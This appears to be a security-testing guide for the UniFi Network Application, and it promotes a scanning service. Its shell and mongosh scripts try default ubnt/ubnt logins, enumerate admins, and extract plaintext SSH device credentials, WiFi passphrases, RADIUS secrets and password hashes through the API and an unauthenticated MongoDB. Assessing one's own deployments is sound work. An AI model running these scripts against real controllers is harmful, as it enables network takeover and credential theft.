UniFi Network Application Security Testing: Default Credentials, MongoDB, Device Adoption, and Site Configuration

UniFi Network Application (formerly UniFi Controller) is Ubiquiti's self-hosted network management platform used in millions of home lab, enterprise, and ISP deployments to manage APs, switches, security gateways, and cameras. Compromising the UniFi controller gives an attacker full visibility into and control over the entire managed network. Critical security areas: UniFi historically ran MongoDB on port 27117 without authentication on older versions, allowing direct database access to extract all credentials; the UniFi REST API provides full site configuration including SSH device credentials used for AP and switch adoption; UniFi backup files (.unf) contain all site data including credentials in a format that can be directly imported; device inform URLs can be manipulated via DNS or DHCP spoofing to redirect devices to a rogue controller; and the UniFi controller web UI default admin credentials are sometimes left as ubnt/ubnt on unconfigured installs. This guide covers systematic UniFi security assessment.

Table of Contents

  1. Authentication and Default Credentials
  2. REST API and Device Configuration
  3. MongoDB and Database Access
  4. UniFi Security Hardening

Authentication and Default Credentials

# UniFi Network Application — authentication testing
UNIFI_URL="https://unifi.example.com:8443"

# Test default ubnt/ubnt credentials (older installations)
LOGIN_RESULT=$(curl -sk -c /tmp/unifi_cookies.txt \
  -X POST "${UNIFI_URL}/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"ubnt","password":"ubnt"}' 2>/dev/null)
echo "$LOGIN_RESULT" | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    meta = d.get('meta',{})
    if meta.get('rc') == 'ok':
        print('DEFAULT CREDENTIALS VALID: ubnt/ubnt')
    else:
        print(f'Failed: {meta.get(\"msg\",d)}')
except Exception as e:
    print(f'Parse error: {e}')
" 2>/dev/null

# List all admin accounts after successful login
curl -sk -b /tmp/unifi_cookies.txt \
  "${UNIFI_URL}/api/s/default/cmd/sitemgr" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"get-admins"}' 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    admins = d.get('data',[])
    print(f'Admin accounts: {len(admins)}')
    for a in admins:
        print(f'  {a.get(\"name\")} email={a.get(\"email\")} role={a.get(\"role\")} last_login={a.get(\"last_site_login\")}')
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

REST API and Device Configuration

# UniFi REST API — full site and device configuration access
UNIFI_URL="https://unifi.example.com:8443"
SITE="default"

# Get all managed devices — reveals all APs, switches, gateways with config
curl -sk -b /tmp/unifi_cookies.txt \
  "${UNIFI_URL}/api/s/${SITE}/stat/device" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
devices = d.get('data',[])
print(f'Managed devices: {len(devices)}')
for dev in devices:
    print(f'  {dev.get(\"name\",\"unnamed\")} model={dev.get(\"model\")} ip={dev.get(\"ip\")} mac={dev.get(\"mac\")} version={dev.get(\"version\")}')
" 2>/dev/null

# Get site settings — includes SSH device credentials for adoption
curl -sk -b /tmp/unifi_cookies.txt \
  "${UNIFI_URL}/api/s/${SITE}/get/setting/mgmt" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    data = d.get('data',[])
    for setting in data:
        if setting.get('key') == 'mgmt':
            print('DEVICE MANAGEMENT CREDENTIALS:')
            print(f'  SSH username: {setting.get(\"x_ssh_username\")}')
            print(f'  SSH password: {setting.get(\"x_ssh_password\")}')  # plaintext
            print(f'  SSH auth key: {str(setting.get(\"x_ssh_keys\",\"\"))[:60]}')
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

# Get all WiFi networks — includes PSK passwords and enterprise RADIUS secrets
curl -sk -b /tmp/unifi_cookies.txt \
  "${UNIFI_URL}/api/s/${SITE}/rest/wlanconf" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
wlans = d.get('data',[])
print(f'WiFi networks: {len(wlans)}')
for w in wlans:
    print(f'  SSID: {w.get(\"name\")} security={w.get(\"security\")}')
    if w.get('x_passphrase'):
        print(f'    PSK: {w.get(\"x_passphrase\")}')
    if w.get('x_radius_auth_secret'):
        print(f'    RADIUS secret: {w.get(\"x_radius_auth_secret\")}')
" 2>/dev/null

MongoDB and Database Access

# UniFi MongoDB — older versions ran without authentication on port 27117
# Affects UniFi Controller < 7.x on self-hosted installations
UNIFI_HOST="unifi.example.com"
MONGO_PORT=27117

# Check if MongoDB is accessible without authentication
mongosh --host "${UNIFI_HOST}" --port "${MONGO_PORT}" --eval "
db.adminCommand({listDatabases:1})
" 2>/dev/null | grep -q 'databases' && echo "MONGODB ACCESSIBLE WITHOUT AUTHENTICATION"

# If accessible, extract admin credentials from ace database
mongosh --host "${UNIFI_HOST}" --port "${MONGO_PORT}" ace --eval "
db.admin.find({},{name:1,email:1,x_shadow:1,last_login:1}).forEach(function(u) {
    print('Admin: ' + u.name + ' email=' + u.email + ' hash=' + u.x_shadow);
});
" 2>/dev/null

# Extract WiFi PSK passwords from device configuration
mongosh --host "${UNIFI_HOST}" --port "${MONGO_PORT}" ace --eval "
db.wlanconf.find({},{name:1,x_passphrase:1,security:1}).forEach(function(w) {
    print('SSID: ' + w.name + ' PSK=' + w.x_passphrase + ' security=' + w.security);
});
" 2>/dev/null

# Extract device SSH credentials from site settings
mongosh --host "${UNIFI_HOST}" --port "${MONGO_PORT}" ace --eval "
db.setting.findOne({key:'mgmt'},{x_ssh_username:1,x_ssh_password:1})
" 2>/dev/null

UniFi Security Hardening

UniFi Security Hardening Checklist:
Security TestMethodRisk
MongoDB unauthenticated access (older versions)mongosh --host unifi-host --port 27117 ace — on UniFi Controller <7.x, extracts all admin password hashes, WiFi PSKs, and SSH device credentials directly from the database without any authenticationCritical
SSH device credential extraction via APIGET /api/s/default/get/setting/mgmt — returns x_ssh_username and x_ssh_password for device management in plaintext; these credentials provide SSH access to all managed APs and switchesCritical
WiFi PSK and RADIUS secret exposureGET /api/s/default/rest/wlanconf — returns x_passphrase (PSK) for all WPA2-Personal networks and x_radius_auth_secret for all WPA2-Enterprise networks; enables connection to any managed WiFi networkHigh
Default ubnt/ubnt admin credentialsPOST /api/login with {"username":"ubnt","password":"ubnt"} — on unconfigured or factory-reset installs; successful response confirms full controller access with default credentialsCritical (on unconfigured installs)
Backup file credential extractionAccess to .unf backup file — ZIP archive containing ace.json with all site data; extract and parse to recover all credentials without interacting with the live controllerHigh

Automate UniFi Security Testing

Ironimo tests UniFi Network Application deployments for MongoDB unauthenticated access on port 27117, default ubnt/ubnt credential testing, SSH device credential extraction via the management API, WiFi PSK and RADIUS secret exposure across all configured WLANs, admin account enumeration, 2FA configuration audit, and backup file security assessment.

Start free scan